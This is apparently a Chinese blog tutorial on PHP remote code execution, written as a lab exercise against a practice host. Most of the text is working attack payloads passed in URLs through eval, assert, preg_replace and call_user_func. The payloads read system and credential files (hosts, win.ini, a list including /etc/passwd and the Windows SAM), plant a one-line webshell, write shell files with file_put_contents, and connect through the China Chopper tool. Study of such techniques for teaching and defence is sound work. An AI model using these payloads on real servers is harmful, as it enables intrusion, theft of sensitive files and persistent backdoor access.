• 命令执行漏洞——远程命令执行


    一、远程命令

    在PHP中,允许命令执行的函数有

    1、array_map()

    1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/3.php

     2、在URL后拼接"?arr=print_r",访问http://ip/os/3.php?arr=print_r,打印数组

    print_r是一个专门打印数据内容的函数

     3、在URL后拼接"?arr=phpinfo",访问http://ip/os/3.php?arr=phpinfo,查看执行效果


    2、eval()

     

     

    这段代码的意思:判断用户是否有输入a,有则当做PHP语句执行

     

    1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/eval.php

     

    2、在URL后拼接"?a=echo ‘This is test’;",访问http://ip/os/eval.php?a=echo ‘This is test’;,执行代码

    3、在URL后拼接"?a=phpinfo();",访问http://ip/os/eval.php?a=phpinfo();,查看执行效果


    3、assert():作用跟eval()差不多,但二者不同

    eval是一个语言构造器,而不是一个函数,不能被可变函数调用;

     

     

     1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/assert.php

    2、在URL后拼接"?a=var_dump(array(1,2,3)),访问http://ip/os/assert.php?a=var_dump(array(1,2,3)),执行代码

    3、在URL后拼接"?a=phpinfo();",访问http://ip/os/assert.php?a=phpinfo(),查看执行效果

    4、preg_replace()

     

    Preg_replace("/(.*)/e",'\\1',$_GET['a']);

    /(.*)/e 代表要替换的模式

    '\\1'代表第一个捕获到的文本替换

    Preg_replace("/(.*)/e",'\\1',$_GET['a']);跟Preg_replace("/[(.*)]/e",'\\1',$_GET['a']);的区别就是

    需要给输入的字符串加[ ]

     1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/preg_replace.php

     2、在URL后拼接"?a=var_dump(array(1,2,3)),访问http://ip/os/preg_replace.php?a=var_dump(array(1,2,3)),执行代码

    3、在URL后拼接"?a=phpinfo();",访问http://ip/os/preg_replace.php?a=phpinfo(),查看执行效果


    5、call_user_func()

     

     

     1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/call_user_func.php

    2、在URL后拼接"?a=assert&b=var_dump(array(1,2,3)),访问http://ip/os/call_user_func.php?a=var_dump(array(1,2,3)),执行代码

     3、在URL后拼接"?a=assert&b=phpinfo()",访问http://ip/os/call_user_func.php?a=assert&b=phpinfo(),查看执行效果


    6、$a($b):跟call_user_func()用法差不多

     

     1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/kbhs.php

    2、在URL后拼接"?a=assert&b=var_dump(array(1,2,3)),访问http://ip/os/kbhs.php?a=var_dump(array(1,2,3)),执行代码

    3、在URL后拼接"?a=assert&b=phpinfo()",访问http://ip/os/kbhs.php?a=assert&b=phpinfo(),查看执行效果


    二、远程命令执行漏洞的利用

     1、远程命令执行漏洞利用之利用PHP魔术常量获取信息

    原理:

    探测到网站存在远程命令执行漏洞,可以利用PHP魔术常量获取相关信息。
    PHP 向它运行的任何脚本提供了大量的预定义常量。不过很多常量都是由不同的扩展库定义的,只有在加载了这些扩展库时才会出现,或者动态加载后,或者在编译时已经包括进去了。有八个魔术常量它们的值随着它们在代码中的位置改变而改变。

    1. __LINE__ 文件中的当前行号
    2. __FILE__ 文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名
    3. __DIR__ 文件所在的目录。如果用在被包括文件中,则返回被包括的文件所在的目录
    4. __FUNCTION__ 该常量所在的函数名称(PHP 4.3.0 新加)。自PHP5起本常量返回该函数被定义时的名字(区分大小写)。在PHP4中该值总是小写字母的
    5. __CLASS__ 该类被定义时的名字(PHP 4.3.0 新加)。自PHP5起本常量返回该类被定义时的名字(区分大小写)
    6. __TRAIT__ Trait的名字(PHP 5.4.0 新加)。自PHP5.4.0起,PHP实现了代码复用的一个方法,称为traits
    7. __METHOD__ 类的方法名(PHP 5.0.0 新加)。返回该方法被定义时的名字(区分大小写)
    8. __NAMESPACE__ 当前命名空间的名称(区分大小写)。此常量是在编译时定义的(PHP 5.3.0 新增)

    1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/assert.php

    2、在URL后拼接"?a=print(__LINE__),访问http://ip/os/assert.php?a=print(__LINE__),执行代码,获取当前代码所在的行数 注意:是两个下划线_

    3、在URL后拼接"?a=print(__DIR__),访问http://ip/os/assert.php?a=print(__DIR__),执行代码,获取当前文件所在的目录

    4、在URL后拼接"?a=print(__FILE__),访问http://ip/os/assert.php?a=print(__FILE__),执行代码,获取当前文件的完整路径


    2、远程命令执行漏洞利用之读取文件

    原理:

    利用远程命令执行漏洞可以读取一些操作系统的敏感文件,从而获取重要信息。
    Windows系统敏感信息:

    1. C:\boot.ini //查看系统版本
    2. C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
    3. C:\windows\repair\sam //windows初次安装的密码
    4. C:\program Files\mysql\my.ini //Mysql配置信息
    5. C:\program Files\mysql\data\mysql\user.MYD //Mysql root C:\windows\php.ini //php配置信息
    6. ......

    Linux系统敏感信息:

    1. /etc/passwd //linux用户信息
    2. /usr/local/app/apache2/conf/httpd.conf //apache2配置文件
    3. /usr/local/app/php5/lib/php.ini //php配置文件
    4. /etc/httpd/conf/httpd.conf //apache配置文件
    5. /etc/my.cnf //Mysql配置文件
    6. ......

    1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/assert.php

    2、在URL后拼接"?a=var_dump(file_get_contents(‘C:\Windows\System32\drivers\etc\hosts’))",访问http://ip/os/assert.php?a=var_dump(file_get_contents(‘C:\Windows\System32\drivers\etc\hosts’)),执行代码,获取hosts文件信息

    hosts是一个系统文件,其作用就是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”。

    3、在URL后拼接"?a=var_dump(file_get_contents(‘C:\Windows\win.ini’))",访问http://ip/os/assert.php?a=var_dump(file_get_contents(‘C:\Windows\win.ini’)),执行代码,获取win.ini文件信息

    win.ini,是Windows系统的一个基本系统配置文件WIN.INI文件包含若干小节,每一节由一组相关的设定组成。文件配保存了诸如影响Windows操作环境的部分、控制系统界面显示形式及窗口和鼠标器的位置、联结特定的文件类型与相应的应用程序、列出有关HELP窗口及对话窗的默认尺寸、布局、文本颜色设置等等的选项。是系统配置不可缺少的文件。


    3、远程命令执行漏洞利用之一句话木马

    原理:

    利用远程命令执行漏洞可以执行一句话木马,从而GetShell,借助WebShell工具连接一句话木马。

    1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/assert.php

    2、在URL后拼接"?a=@eval($_POST[666])",访问http://ip/os/assert.php?a=@eval($_POST[666]),执行代码,构造一句话木马(Warning警告,但是并不影响)

    666就是与菜刀的连接密码

    3、打开中国菜刀

    4、在空白处鼠标右击,点击“添加”,添加shell地址

    • 地址为:一句话木马地址和连接密码
    • 脚本类型:PHP

     5、点击“添加”,双击一句话木马地址

     

    远程命令执行漏洞的利用,执行一句话木马文件,从而GetShell。


    4、远程命令执行漏洞利用之写shell

    原理:利用远程命令执行漏洞可以执行写文件的代码,生成新的脚本文件。

    1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/assert.php

    2、在URL后拼接"?a=var_dump(file_put_contents($_POST[1],$_POST[2]))",

    访问http://ip/os/assert.php?a=var_dump(file_put_contents($_POST[1],$_POST[2])),并发送post数据:1=info.php&2=,成功执行代码(Warning警告,但是并不影响)

    3、访问http://ip/os/info.php,新生成的info.php脚本文件成功解析执行

     4、在URL后拼接"?a=var_dump(file_put_contents($_POST[1],$_POST[2]))",

    访问http://ip/os/assert.php?a=var_dump(file_put_contents($_POST[1],$_POST[2])),并发送post数据:1=shell.php&2=,成功执行代码(Warning警告,但是并不影响)

    5、访问http://ip/os/shell.php,无任何报错,shell.php一句话木马文件成功生成 

    6、打开中国菜刀(过狗),双击exe文件 

    7、在空白处鼠标右击,点击“添加”,添加shell地址

    • 地址为:一句话木马地址和连接密码
    • 脚本类型:PHP

     8、点击“添加”,双击一句话木马地址

     

     远程命令执行漏洞的利用,执行生成代码的文件,从而生成新的脚本文件或者一句话木马文件。


    这篇文章就写到这里了

  • 相关阅读:
    【c#】Thread多线程项目练习Demo之---摇奖机
    随想录一刷Day55——动态规划
    LeetCode·738.单调递增的数字·贪心
    安装npm包时出现依赖树错误的解决办法
    计算机网络——以太网的信道利用率
    思想总结
    解决maven依赖冲突,这篇就够了!
    MATLAB小技巧(21)矩阵分析--偏最小二乘回归
    二分算法(超详细)
    关于两个不同数据库的两张表建立数据库链接,关联查询数据
  • 原文地址:https://blog.csdn.net/weixin_54055099/article/details/126905545